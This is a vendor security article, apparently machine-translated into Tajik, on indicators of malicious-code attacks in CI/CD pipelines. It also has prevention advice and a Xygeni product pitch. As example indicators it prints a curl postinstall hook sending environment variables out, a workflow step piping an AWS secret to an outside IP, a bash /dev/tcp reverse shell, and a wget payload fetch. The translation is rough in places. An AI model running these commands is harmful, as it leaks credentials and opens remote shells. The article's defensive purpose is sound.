Кадоме аз инҳо метавонад ҳамлаи рамзи зарароварро нишон диҳад - чӣ гуна рамзи зараровар метавонад паҳн шавад

Кадоме аз инҳо метавонад ҳамлаи рамзии зарароварро нишон диҳад?

Агар шумо дар CI/CD pipelines, навиштани скриптҳои автоматизатсия ё амнияти системаҳои муосири сохтмон, муайян кардани рамзи зараровар ихтиёрӣ нест; ин як рисолати муҳим аст. Ҳамлаҳои зараровари рамз на танҳо вақти кори шуморо истифода мебаранд; онҳо қадамҳои сохтмон, бастаҳои тарафи сеюм ва корҳои автоматикунониро, ки шумо ҳар рӯз ба онҳо такя мекунед, силоҳ мекунанд.

Ин мақола меомӯзад, ки кадом рафторҳо метавонанд ҳамлаи рамзи зарароварро нишон диҳанд ва чӣ гуна рамзи зараровар метавонад паҳн шавад, бахусус дар дохили он CI/CD муҳитҳо. Он барои таҳиягарон ва дастаҳои DevSecOps, ки масъули занҷирҳои таъминоти нармафзор, автоматикунонии сохтмон ва ҷараёнҳои кории ҷойгиркунии бехатар мебошанд, тарҳрезӣ шудааст. Бо дарки ин нишондиҳандаҳо ва векторҳои ҳамла, дастаҳо метавонанд таҳдидҳоро беҳтар муайян кунанд ва pipelineс бар зидди созиш.

Шумо меомӯзед чӣ гуна ҳамлагарон таҳдидҳоро ба системаҳои шумо ворид мекунанд pipelines, ба кадом нишонаҳо диққат додан лозим аст ва чӣ гуна рамзи зараровар метавонад тавассути вазифаҳои муқаррарӣ, ба монанди насбҳои вобастагӣ ва автоматикунонии ҷараёни кор, пинҳонӣ паҳн шавад. Биёед сигналҳоро, аз трафики берунаи ғайричашмдошт то PR-ҳои қаллобе, ки ба корҳои CI халал мерасонанд, таҳлил кунем, то шумо тавонед таҳдидҳоро пеш аз он ки онҳо ба истеҳсолот расанд, муайян ва безарар гардонед.

Ҳамлаи рамзи зараровар чист?

Ҳамлаи рамзи зараровар вақте рух медиҳад, ки рамзи зараровар дар дохили барномаи шумо иҷро мешавад, сохта мешавад pipeline, ё муҳити иҷро. Мо дар бораи мантиқе, ки махсусан барои ин навишта шудааст, сухан меронем:

  • Асрорҳо ба монанди калидҳои API ва эътимодномаҳоро дуздед
  • Бо сохтмонҳо тағйирот ворид кунед ё артефактҳои сироятшударо тела диҳед
  • Садафҳоро кушоед ё маълумотро берун кунед

Коди зараровар танҳо як хато нест. Он аз рӯи ният идора карда мешавад. Ва он аксар вақт дар дохили абзорҳои муқаррарии шумо ҷойгир аст: вобастагиҳо, вазифаҳои CI, скриптҳои насб.

Чаро таҳиягарон бояд ғамхорӣ кунанд? Зеро таҳдид на ҳамеша аз ҳамлагарони беруна ба API-ҳои шумо бармеояд. Коди зараровар худро дар ҷараёнҳои кории шумо ҳар рӯз, ба монанди насбҳои npm ё сохтани Docker, ҷойгир мекунад. Ин аст, ки рамзи зараровар метавонад дар муҳити воқеӣ паҳн шавад.

Кадоме аз инҳо метавонад ҳамлаи рамзи зарароварро нишон диҳад? Аломатҳои амалӣ барои таҳиягарон

Агар шумо дар ҳайрат бошед, ки кадоме аз инҳо метавонад ҳамлаи рамзи зарароварро нишон диҳад, ҷавоб бо рафтори мушоҳидашаванда оғоз мешавад:

Нишондиҳанда (аломат)мисолНахустсабабНамуди
Трафики берунаи ғайричашмдошт аз сохтмонҳоcurl -X POST http://198.51.100.42 -d "$(env)" дар скрипти пас аз насбкунӣБастаи зараровари npmНишондиҳандаи ҳақиқӣ
Файлҳои тағйирёфта ё печида дар анборҳои манбаъПойгоҳи 64-и норавшан дар .github/workflows/build.ymlСозиши занҷираи таъминотНишондиҳандаи ҳақиқӣ
Асрори дастрасшуда аз ҷониби корҳои ғайричашмдоштИстифодаи кори тасдиқнашудаи CI ${{ secrets.AWS_SECRET_KEY }}IAM нодуруст танзим карда шудааст ё тазриқ карда шудаастНишондиҳандаи ҳақиқӣ
Раванди баръакси shell ё wget дар buildbash -i >& /dev/tcp/... shellcode дар қадами CIТаҳрифшуда pipeline барномаи саҳнавӣНишондиҳандаи ҳақиқӣ
Бастаи Typosquatted бо скрипти насбlodashs or react-core-js рамзи ғайричашмдоштро иҷро мекунадНофаҳмиҳои вобастагӣНишондиҳандаи ҳақиқӣ
кушода мешавад CI/CD иҷозатномаҳороҲама корҳо метавонанд ба ҳама сирру асрор дастрасӣ пайдо кунандТанзимоти пешфарзии заифМашқи бад (Не, нишона)
Набудани санҷиши якпорчагии файлҳоҲангоми тағир додани конфигуратсия огоҳӣ нестМониторинг нестМашқи бад (Не, нишона)

Трафики ғайричашмдошти шабакаи баромад аз Build Pipelines

Аломатҳо: Ҷойҳои CI-и шумо ногаҳон бо IP-ҳо ё доменҳои беруна номаълум муошират мекунанд.
Намуна: Скрипти postinstall-и осебдида аз curl барои фиристодани тағирёбандаҳои муҳит ба 198.51.100.42 истифода мебарад.

				
					{
  "scripts": {
    "postinstall": "curl -X POST http://198.51.100.42 -d \"$(env)\""
  }
}

				
			

Нахустсабаб: Вобастагии зараровари npm ба package.json илова карда шуд ё скрипти CI тағйир ёфт.
Намуд: Нишондиҳандаи ҳақиқӣ
Чӣ тавр пешгирӣ кардан мумкин аст:

  • Трафики баромадро дар давандагони CI-и худ ба таври пешфарз масдуд кунед (масалан, қоидаҳои девори оташро истифода баред ё сиёсатҳои баромади пешфарзро рад кунед)

  • Сиёсати шабакаро илова кунед, то танҳо ба доменҳои мушаххас дастрасӣ дошта бошед:

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Allowlist specific domains
        run: iptables -A OUTPUT -p tcp -d github.com -j ACCEPT
				
			

Файлҳои тағирёфта ё ғайричашмдошт дар анборҳои манбаъ

Аломатҳо: Файлҳо ё скриптҳои нав дар идоракунии манбаъ бидуни тавзеҳоти возеҳ пайдо мешаванд.
Намуна: Боркунии Base64-и норавшан ба package-lock.json ё .github/workflows/build.yml партофта шуд

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
				
			

Нахустсабаб: Сӯиистифодаи занҷираи таъминот тавассути PR-ҳои бадхоҳона ё вобастагиҳои таҳрифшуда.
Намуд: Нишондиҳандаи ҳақиқӣ
Чӣ тавр пешгирӣ кардан мумкин аст:

  • Истифодаи назорати автоматии якпорчагии файлҳо (масалан, Tripwire ё Git) hooks бо чекҳои ҷамъи назоратӣ)

  • Баррасии дастӣ дар ҷараёни кор ва қулф кардани тағйироти файл бо истифода аз GitHub CODEOWNERS:

				
					.github/workflows/*  @security-team
package-lock.json     @devops-lead
				
			
  • Санҷиши ҷамъҳои вобастагиҳои навшударо тасдиқ кунед

Намунаҳои ғайриоддии истифодаи эътимоднома

Аломатҳо: Асрорҳо аз ҷониби корбарон, хидматҳо ё марҳилаҳои ғайричашмдошт дар шумо дастрас мешаванд. pipeline.
Намуна: Гузоришҳои Secrets Manager дастрасиро аз коре нишон медиҳанд, ки набояд дастрасӣ дошта бошад.

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
				
			
  • Нахустсабаб: Сиёсатҳои нодуруст танзимшудаи IAM, маълумоти ихроҷшуда ё ворид кардани ҷойҳои корӣ ба CI.
    Намуд: Нишондиҳандаи ҳақиқӣ
    Чӣ тавр пешгирӣ кардан мумкин аст:

    • Дар сиёсатҳои дастрасӣ ҳадди ақалл имтиёзро татбиқ кунед (масалан, як кор = як махфӣ)

    • Назорати сабтҳои дастрасии махфият ва танзим кардани огоҳӣ дар бораи истифодаи ғайримуқаррарӣ

    • Қоидаҳои ҳифзи муҳити GitHub ва асрори маҳдудшударо истифода баред:

				
					environments:
  production:
    protection_rules:
      required_reviewers:
        - security-team
				
			
  • Рафтори интизории кориро бо истифода аз санҷишҳои автоматии сиёсат (масалан, OPA/Gatekeeper) тасдиқ кунед

Иҷрои ғайримуқаррарии раванд дар CI/CD ё вақти иҷро

Аломатҳо: Барномаҳои сохташуда ё ҷойгиршуда равандҳои ғайричашмдоштро оғоз мекунанд.
Намуна: bash -c \"wget http://malicious.site/payload.sh\" ҳангоми сохтан пайдо мешавад.

				
					steps:
  - name: Suspicious shell execution
    run: bash -i >& /dev/tcp/malicious.site/4444 0>&1
				
			
  • Нахустсабаб: Скриптҳои воридшуда, қабатҳои баръакс ё тағйирёфта pipeline қадамҳо.
    Намуд: Нишондиҳандаи ҳақиқӣ
    Чӣ тавр пешгирӣ кардан мумкин аст:

    • Рӯйхати иҷозатҳоро барои фармонҳо истифода баред (масалан, танҳо ба абзорҳои тасдиқшудаи сохтмон маҳдуд кунед)

    • Имкониятҳои равандро дар CI бо роҳи иҷрои вазифаҳо дар контейнерҳои ҳадди ақал маҳдуд кунед:

				
					jobs:
  build:
    container:
      image: secure-ci-image:latest
      options: --cap-drop=ALL --no-new-privileges
				
			
  • Истифодаи пӯст ва намунаҳои бади маълумро бо истифода аз линтерҳои ҳамгирошудаи CI скан кунед ва SAST

Вобастагиҳои осебдида, ки рамзи зарароварро иҷро мекунанд

Аломатҳо: Скриптҳо ё навсозиҳои насб рамзи беиҷозатро бе нияти шумо иҷро мекунанд.
Намуна: Бастаи чопӣ ба монанди lodashs or react-core-js як қалмоқи зараровари пешакӣ насбкуниро иҷро мекунад.
Нахустсабаб: Ошуфтагии вобастагӣ ё истифодаи реестрҳои беэътимод.
Намуд: Нишондиҳандаи ҳақиқӣ
Чӣ тавр пешгирӣ кардан мумкин аст:

  • Вобастагиҳоро бо қулф кунед SBOM тасдиқ ва пинкунии ҳэш:

				
					npm ci --prefer-offline --no-audit --ignore-scripts
				
			
  • истифода бурдан .npmrc or .yarnrc.yml барои дохил кардани феҳристҳои тасдиқшуда ба рӯйхати сафед:

				
					registry=https://registry.npmjs.org/
always-auth=true
				
			
  • Аудити пайвастаи бастаҳо бо истифода аз SCA абзорҳо ба монанди Xygeni, OSV-Scanner ё Dependabot

Беҳтарин ҳимояи нармафзори зарароварро бо сарчашмаи кушода кашф кунед

Нармафзори кушодаасоси худро аз таҳдидҳои пайдошаванда муҳофизат кунед!

Хониши марбут:

Чӣ тавр рамзи зараровар метавонад дар ҷараёнҳои кории таҳиягар паҳн шавад?

Фаҳмидани он ки чӣ гуна рамзи зараровар метавонад паҳн шавад, ба шумо кӯмак мекунад, ки онро пеш аз ба истеҳсолот баровардан қатъ кунед:

  • Бастаҳои кушодаасоси осебдида (масалан, модулҳои сироятёфтаи npm/PyPI)
  • Бадовар pull requests бо борҳои пинҳон дар ҷараёнҳои корӣ
  • CI/CD конфигуратсияҳои нодуруст (масалан, PR-ҳои тасдиқнашуда дар иҷрои вазифаҳо)
  • Таҳдидҳои дохилӣ дар давраи рушди муқаррарӣ дарҳои пасипардагӣ ҷойгир мешаванд

Ин ҳама векторҳои онанд, ки чӣ гуна рамзи зараровар метавонад бидуни фаъол кардани огоҳиҳои анъанавӣ паҳн шавад.

Чӣ тавр рамзи зарароварро дар система муайян ва пешгирӣ кардан мумкин аст Pipelines ва рамзҳо

Рӯйхати санҷиши ошкоркунии фаврӣ барои нишондиҳандаҳои рамзи зараровар

BehaviorВоситаи ошкорCI/CD чойпулӣ
Дархостҳои ғайричашмдошти шабакавӣМониторинги рафторӣ, сабтҳои баромадРӯйхати IP-ҳоро рад кунед, истифодаи curl/wget-ро тафтиш кунед
Таҳрифи файли YAML ё қулфПайгирии якпорчагии файл, фарқиятҳои GitИҷрои СОҲИБОНҲОИ КОД, огоҳӣ дар бораи тағирот дар файлҳои калидӣ
Дастрасии махфии ғайриоддӣСабтҳои дастрасии махфӣ, огоҳиҳои IAMАсрори маҳдудро истифода баред, камтарин имтиёзро риоя кунед
Иҷрои пӯст ё пӯстҳои баръаксSAST, сканкунии рӯйхати иҷозатдодашудаИстифодаи пӯстро дар скриптҳои сохтан маҳдуд кунед
Вобастагиҳои шубҳанокSCA, SBOM тасдиқ карда мешавадХэшҳои қулфшуда ва феҳристҳои боэътимодро истифода баред

Огоҳиҳои истеҳсолӣ интизор нашавед. Ин аст, ки чӣ тавр таҳиягарон ва дастаҳои DevSecOps метавонанд ҳамлаи рамзи зарароварро фаъолона муайян кунанд:

  • Мониторинги рафторӣ: Иҷрои ғайриоддии равандҳо, зангҳои шабакавӣ ё тағиротҳои файлро дар CI/CD.
  • Назорати вобастагӣ: истифода бурдан SBOMва рӯйхатҳои қатъии иҷозатҳо барои масдуд кардани китобхонаҳои тасдиқнашуда.
  • Назорати якпорчагии файл: Скриптҳои беиҷозат ё тағйироти файли конфигуратсияро муайян кунед.
  • Маҳдудиятҳои баромад: Пешгирӣ аз хориҷшавии филтратсия дар вақти сохтмон тавассути таҳлил ва бастани трафики содиротӣ.
  • Таҳлили статикӣ ва динамикӣ: Санҷишҳои мантиқи шубҳанок, даъватҳои пӯст ё рамзгузориҳоро дар худ автоматӣ кунед pipelines.

Аниқтараш:

  • Санҷиши амнияти барномаҳои статикӣ (SAST): Метавонад мантиқи зараровар ё рамзи печида (масалан, base64-и пинҳон, даъватҳои шубҳаноки shell)-ро пеш аз иҷро шуданаш муайян кунад. SAST абзорҳо ба шумо CI/CD ҷараёнҳои корӣ ба нишон додани намунаҳои хавфи баланд дар pull requests ва commits.
  • Таҳлили таркиби нармафзор (SCA): Дар раванди ҳалли вобастагӣ бастаҳои осебпазир ё зараровари маълумро муайян мекунад. SCA Асбобҳо ба шумо кӯмак мекунанд, ки бастаҳои хатоҳои чопӣ ё дарҳои қафо пӯшидашударо дар вақти насб, пеш аз ворид шудан ба муҳити шумо, масдуд кунед.

Ҳамаи инҳо ба савол ҷавоб медиҳанд: кадоме аз инҳо метавонад ҳамлаи рамзи зарароварро нишон диҳад ва кадоме танҳо садои аҷибе аст.

Таҳиягарони ҳодисаҳои воқеӣ бояд аз онҳо дарс гиранд

Ба шумо фарзияҳо лозим нестанд; ин ҳамлаҳои рамзии зараровар аллакай рух додаанд ва ҳар кадоми онҳо дарсҳои муҳимро пешниҳод мекунанд:

  • Майкрософт, Эпл: Аз нофаҳмиҳои вобастагӣ зарар дида, фиреб хӯрда, бастаҳои дохилиро аз феҳристҳои давлатӣ кашиданд.
    Кашида гирифтан: Барои пешгирӣ аз нофаҳмиҳои вобастагӣ, аз феҳристҳои хусусӣ истифода баред ва ҳалли бастаҳои дорои миқёси васеъро танзим кунед.
  • ua-parser-js: Бастаи машҳури npm барои ҷойгиркунии майнерҳои крипто осеб дидааст.
    Кашида гирифтан: истифода бурдан SBOM тасдиқ ва пинкунии вобастагии CI барои пешгирӣ аз навсозиҳои тасдиқнашудаи бастаҳо.
  • Хатогиро дар PyPI чоп кунед: Бастаҳои зараровар, ки ба бастаҳои воқеӣ номгузорӣ шудаанд (масалан, urlib3) барои паҳн кардани дуздҳои иттилоот.
    Кашида гирифтан: Интегратсия SCA абзорҳо барои муайян кардани бастаҳои монанд ба ном ва тасдиқи вобастагиҳо пеш аз насб.
  • Маълумоти GitHub: Ҳамлагарон PR-ҳоеро пешниҳод карданд, ки ҷараёнҳои кори CI-ро пинҳонӣ тағйир доданд leak secrets.
    Кашида гирифтан: Баррасиҳои қатъии PR-ро барои файлҳои ҷараёни кор татбиқ кунед ва барои тағиротҳои конфигуратсияи CI аз соҳибони рамз истифода баред.

Ҳар як ҳолат нишон медиҳад, ки чӣ гуна рамзи зараровар метавонад пеш аз расидан ба истеҳсолот дар муҳитҳои таҳиякунанда паҳн шавад ва амалияҳои амалишавандаро барои пешгирии барвақти онҳо таъкид мекунад.

Хулоса: Таҳиягарон хатти аввали мубориза бо рамзи зарароварро назорат мекунанд

Ҳамлаи рамзи зараровар на ҳамеша маънои вайронкунии маълумот аз берунро дорад. Баъзан, ҳамлагар дар дохили шумо пинҳон мешавад. nмодулҳои_одӣ, шумо package-lock.json, ё шумо Файли .github/workflows.

Кадоме аз инҳо метавонад ҳамлаи рамзи зарароварро нишон диҳад? Ҷавоб дар сигналҳои ҳаррӯзаи рамз ва абзорҳои шумост.

Соҳиби худ CI/CDВобастагиҳои худро назорат кунед. Рафторҳои аҷибро қайд кунед. Ҳар қадар барвақттар муайян кунед, ҳамон қадар камтар паҳн мешавад.

Чӣ гуна Xygeni ба ошкор ва масдуд кардани ҳамлаҳои рамзии зараровар дар DevOps кӯмак мекунад

Вақте ки нармафзори зараровар тавассути занҷираи таъминоти нармафзори шумо паҳн мешавад, аксар вақт то расидан ба истеҳсолот хеле дер мешавад. Аз ин рӯ, ошкоркунии барвақт ва автоматӣ муҳим аст. Xygeni Системаи огоҳии пешакӣ барои дастгир кардани бастаҳои зараровар пеш аз сироят кардани пойгоҳи рамзи шумо тарҳрезӣ шудааст, CI/CD pipelineс, ё муҳитҳои абрӣ.

Ин тавр аст Ксигенӣ қувваи дифоии шуморо мустаҳкам мекунад:

Огоҳии барвақти вақти воқеӣ дар бораи нармафзори зараровари рӯзи сифр

Бар хилофи сканерҳои анъанавӣ, ки танҳо ба CVE такя мекунанд, Xygeni пайваста феҳристҳои оммавиро ба монанди npm, PyPI, Maven ва NuGet барои рафтори шубҳанок ва аномалияҳои метамаълумот назорат мекунад. Ҳамин ки баста нишонаҳои фаъолияти зарароварро нишон медиҳад, он қайд карда мешавад, карантин карда мешавад ва аз ворид шудан ба системаи шумо манъ карда мешавад. SDLC.

  • Нармафзори зарароварро дар лаҳзаи нашр муайян мекунад
  • Борҳои рӯзи сифр ва насби шубҳанокро ба таври худкор масдуд мекунад hooks
  • Ба дастаҳои DevOps барои интихоби зуд огоҳиҳои воқеӣ мефиристад

Ҳифзи нармафзори зараровар дар ҳар марҳилаи DevOps ҷойгир карда шудааст

Новобаста аз он ки ин рамзи печида дар скрипти postinstall, дузди крипто-дузди пинҳоншуда дар вобастагии транзитӣ ё тасвири контейнери троянӣ бошад, Xygeni ошкоркунии нармафзори зараровари бисёрқабатаро дар саросари код, вобастагиҳо ва ғайра татбиқ мекунад. CI/CDва IaC:

  • Таҳлили статикӣ, ки пеш аз ҷойгиркунӣ дарҳои қафо, троянҳо ва борҳои норавшанро қайд мекунад
  • Девори оташи вобастагӣ, ки бастаҳои троянӣшударо бо скриптҳои насби зараровар масдуд мекунад
  • CI/CD муҳофизате, ки аз садафҳои баръакс ва тазриқи фармон дар шумо пешгирӣ мекунад pipelines.

Guardrails ва карантин барои пешгирии паҳншавӣ

Xygeni на танҳо нармафзори зарароварро муайян мекунад, балки онро бозмедорад. Вақте ки бастаи осебдида ошкор карда мешавад:

  • Барои пешгирӣ аз олудашавӣ ҳангоми сохтмон, он фавран карантин карда мешавад
  • шумо pipelines метавонад бо истифода аз сиёсатҳои амниятии танзимшавандаи Xygeni ба таври худкор сохторро вайрон кунад
  • Версияҳои зарардида ҳатто аз феҳристҳои дохилӣ ё хусусӣ ба рӯйхати сиёҳ ворид карда шудаанд

Таҳқиқ кунед ва огоҳ бошед

Xygeni пайгирии пурраи аудит ва ҷустуҷӯи таърихии бастаҳои зарароварро пешниҳод мекунад. Шумо хоҳед донист:

  • Вақте ки таҳдид нашр шуд
  • Чӣ тавр он ошкор карда шуд
  • Новобаста аз он ки он ба ягон қисми системаҳои шумо расидааст

Илова бар ин, таҳдидҳои тасдиқшуда барои ҳифзи ҷомеаи васеътари манбаъҳои кушода ва пешгирӣ аз пайдоиши дубораи нармафзори зараровар дар бастаҳои номгузорӣ ё шаклдоршуда ба таври оммавӣ ошкор карда мешаванд.

Нагузоред, ки нармафзори зараровар аз тарқишҳо лағжад

Аз криптомайнерҳои пинҳонӣ то дуздони маълумоти чопӣ, Ҳамлаҳои рамзи зараровар босуръат рушд мекунандСистемаи огоҳкунии барвақти Xygeni кафолат медиҳад, ки нармафзори зараровар ҳеҷ гоҳ аз марҳилаҳои таҳия, сохтан ё ҷойгиркунии шумо нагузашта, дастаи шумо дар вақти воқеӣ огоҳ ва муҳофизат карда мешавад.

Ҳоло озмоиши ройгони худро оғоз кунед ва DevOps-и худро муҳофизат кунед pipeline пеш аз ҳамлаи навбатӣ!

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni